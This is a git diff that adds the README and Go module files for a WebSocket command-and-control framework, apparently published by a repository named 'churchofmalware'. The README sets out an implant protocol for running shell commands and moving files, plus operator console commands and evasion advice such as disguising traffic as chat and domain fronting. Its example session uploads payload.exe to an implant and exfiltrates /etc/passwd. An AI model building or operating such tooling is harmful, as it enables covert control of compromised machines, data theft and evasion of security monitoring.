diff --git a/c2_websocket_abuse/README.md b/c2_websocket_abuse/README.md new file mode 100644 index 0000000..ed60095 --- /dev/null +++ b/c2_websocket_abuse/README.md @@ -0,0 +1,242 @@ +# WebSocket Abuse C2 + +A command & control framework using **persistent WebSocket connections** instead of HTTP request/response polling. The long-lived connection mimics legitimate applications (chat apps, trading dashboards, sports feeds) — avoiding the beaconing pattern that behavioral detection looks for. + +## Concept + +Traditional C2 implants connect, send/request data, and disconnect. This creates a recognizable **beacon** pattern: "every 60 seconds, this process connects, sends a POST, gets a 200, and disconnects." Behavioral ML and EDR pick this up easily. + +**WebSocket Abuse C2** keeps a persistent TLS WebSocket connection open. The traffic looks like a live chat session or data feed — not C2 traffic. There's no periodic connect/disconnect cycle to detect. + +## Architecture + +``` +┌─────────────────────┐ wss:// ┌─────────────────────┐ +│ C2 Server │◄───────────────────────►│ Implants │ +│ cmd/server/main.go │ TLS WebSocket │ cmd/client/main.go │ +│ │ │ │ +│ Operator Console │ JSON message frames │ os/exec execution │ +│ (interactive TUI) │ {"type":"exec", │ file upload/downld │ +│ │ "id":"...", │ configurable beacon│ +│ │ "data":"..."} │ auto-reconnect │ +└─────────────────────┘ └─────────────────────┘ +``` + +## Message Protocol + +All communication uses JSON-encoded frames: + +```json +{ + "type": "cmd|result|exec|upload|download|ping|pong|heartbeat|register", + "id": "implant-unique-id", + "data": "command string or base64 payload", + "error": "error message (result messages only)" +} +``` + +### Message Types + +| Type | Direction | Purpose | +|-------------|-------------|---------------------------------------------| +| `register` | Client→Server | Identify implant on connect | +| `exec` | Server→Client | Execute a shell command | +| `upload` | Server→Client | Upload file to implant (base64) | +| `download` | Server→Client | Request file from implant | +| `beacon` | Server→Client | Change heartbeat interval | +| `exit` | Server→Client | Disconnect implant | +| `result` | Client→Server | Command output or error | +| `ping` | Server→Client | Keepalive probe | +| `pong` | Client→Server | Keepalive response | +| `heartbeat` | Client→Server | Regular alive signal at beacon interval | +| `cmd` | Server→Client | Generic command (reserved) | + +### Upload Wire Format + +`upload` commands carry data in `"data"` as: `|` + +### Download Wire Format + +The implant replies with a `result` where `"data"` is: `|` + +## Build + +```bash +# Generate go.sum and verify +go mod tidy + +# Build server +go build -o bin/server ./cmd/server + +# Build implant +go build -o bin/client ./cmd/client +``` + +The only external dependency is `github.com/gorilla/websocket`. Everything else is Go stdlib. + +## Server Usage + +```bash +./bin/server -addr :8443 -cert server.crt -key server.key +``` + +If certificate files don't exist, the server generates a self-signed certificate automatically. + +### Flags + +| Flag | Default | Description | +|---------|----------------|------------------------------| +| `-addr` | `:8443` | Listen address (host:port) | +| `-cert` | `server.crt` | TLS certificate file | +| `-key` | `server.key` | TLS private key file | + +### Operator Console Commands + +| Command | Description | +|-------------------------------|-------------------------------------| +| `list` | Show all connected implants | +| `use ` | Select an implant by ID | +| `exec ` | Run shell command on selected | +| `upload ` | Upload file to implant | +| `download ` | Download file from implant | +| `beacon ` | Change implant's beacon interval | +| `broadcast ` | Run command on ALL connected | +| `exit` | Disconnect selected implant | +| `help` | Show this help | + +## Client (Implant) Usage + +```bash +./bin/client -server wss://192.168.1.100:8443/ws -id my-implant -interval 60 +``` + +### Flags + +| Flag | Default | Description | +|-----------|------------------------------|---------------------------------| +| `-server` | `wss://127.0.0.1:8443/ws` | C2 server WebSocket URL | +| `-id` | `-` | Implant identifier | +| `-interval` | `60` | Heartbeat interval (seconds) | + +### Auto-Reconnect + +The implant uses exponential backoff on disconnect: +1. Start: 1 second +2. Double each retry (1s → 2s → 4s → 8s → ...) +3. Cap: 60 seconds max +4. Resets to 1s on successful connection + +## TLS Certificate Setup + +### Self-Signed (Quick Start) + +The server auto-generates a self-signed certificate on first run. The implant accepts self-signed certs (`InsecureSkipVerify: true` by default). + +### Production / Legitimate TLS + +```bash +# Using Let's Encrypt (certbot) +certbot certonly --standalone -d c2.example.com +cp /etc/letsencrypt/live/c2.example.com/fullchain.pem server.crt +cp /etc/letsencrypt/live/c2.example.com/privkey.pem server.key + +# Or generate with OpenSSL +openssl req -newkey rsa:4096 -nodes -keyout server.key -x509 -days 365 -out server.crt +``` + +### Implant with Valid Certs + +Modify `cmd/client/main.go`: +```go +tlsConfig := &tls.Config{ + InsecureSkipVerify: false, // validate server cert + // optionally: RootCAs: caCertPool for custom CA +} +``` + +## WebSocket vs HTTPS Comparison + +| Aspect | HTTPS Polling | WebSocket C2 | +|----------------------|----------------------------------|---------------------------------------| +| Connection pattern | Connect → Request → Disconnect | Persistent connection | +| Detection surface | Predictable timing/frequency | Continuous stream, no beacon gap | +| Traffic shape | HTTP headers + JSON body | Upgraded WS frames (minimal overhead) | +| Header analysis | Standard HTTP headers visible | Single Upgrade, then raw WS frames | +| Deep packet inspect | POST/GET patterns easy to detect | Looks like聊天 / live data feed | +| Keepalive | N/A | Ping/pong every 30s (WS native) | +| Latency | Poll interval delay | Real-time command delivery | +| Firewall traversal | HTTP/HTTPS ports only | Same (rides HTTPS) | +| Protocol overhead | Higher (HTTP headers per request)| Lower (framed, no headers per msg) | + +## OpSec Notes + +### Traffic Disguise + +- **Use `wss://`** (WebSocket Secure) — encrypts all traffic, looks like HTTPS +- **Customize the URL path** — rename `/ws` to `/chat`, `/live`, `/stream`, `/socket`, `/feed` +- **Fake WebSocket subprotocol** — add a subprotocol name during handshake: + ```go + conn, _, err := dialer.Dial(serverURL, http.Header{ + "Sec-WebSocket-Protocol": []string{"chat"}, + }) + ``` +- **Pad messages** — add random padding to normalize message sizes +- **C2 over 443** — run on port 443 with SNI matching a real-looking hostname + +### Detection Evasion + +- **No beacon timing** — the connection is persistent, so there's no periodic connect/disconnect +- **No HTTP request headers** — after the initial upgrade, all frames are pure WebSocket with no HTTP overhead +- **TLS by default** — no plaintext traffic even on initial handshake +- **Ping/pong looks like WS keepalive** — every legitimate WS app does this + +### Operational Security + +- **Don't hardcode server IPs** — use DNS or change on each deployment +- **Generate unique implant IDs** — never use the same ID twice for different campaigns +- **Use domain fronting** if possible for covert channel +- **Certificate rotation** — generate new self-signed certs periodically +- **Command output encoding** — all responses are base64 for binary files; plaintext for shell output + +## Example Session + +```bash +# Terminal 1: Start server +$ ./bin/server +WebSocket C2 server starting on wss://:8443/ws +Self-signed certificate generated (valid for 365 days) +> +# Terminal 2: Start implants +$ ./bin/client -server wss://127.0.0.1:8443/ws -id target-1 -interval 30 +$ ./bin/client -server wss://127.0.0.1:8443/ws -id target-2 -interval 60 + +# Terminal 1: Operator console +> list +──────────────────────────────────────────────────────────────────────────────── +# IMPLANT ID IP CONNECTED STATUS +──────────────────────────────────────────────────────────────────────────────── +1 target-1 127.0.0.1 2026-05-11T21:59:00Z +2 target-2 127.0.0.1 2026-05-11T21:59:05Z +──────────────────────────────────────────────────────────────────────────────── +Total: 2 implant(s) + +> use target-1 +Selected implant: target-1 (127.0.0.1) connected since 2026-05-11T21:59:00Z + +> exec uname -a +Sent exec to target-1: uname -a +[Result from target-1] Linux target-1 6.8.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux + +> upload ./payload.exe C:\Users\Public\payload.exe +Uploading ./payload.exe → C:\Users\Public\payload.exe on target-1 (12345 bytes) + +> download /etc/passwd +Requested download of /etc/passwd from target-1 +[Result from target-1] /etc/passwd|cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApk... + +> beacon 5 +Set beacon interval to 5s on target-1 + +> broadcast id +Broadcast 'exec id' to 2/2 implants +``` diff --git a/c2_websocket_abuse/go.mod b/c2_websocket_abuse/go.mod new file mode 100644 index 0000000..0392690 --- /dev/null +++ b/c2_websocket_abuse/go.mod @@ -0,0 +1,5 @@ +module github.com/churchofmalware/c2-websocket-abuse + +go 1.26 + +require github.com/gorilla/websocket v1.5.3 diff --git a/c2_websocket_abuse/go.sum b/c2_websocket_abuse/go.sum new file mode 100644 index 0000000..25a9fc4 --- /dev/null +++ b/c2_websocket_abuse/go.sum @@ -0,0 +1,2 @@ +github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= +github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=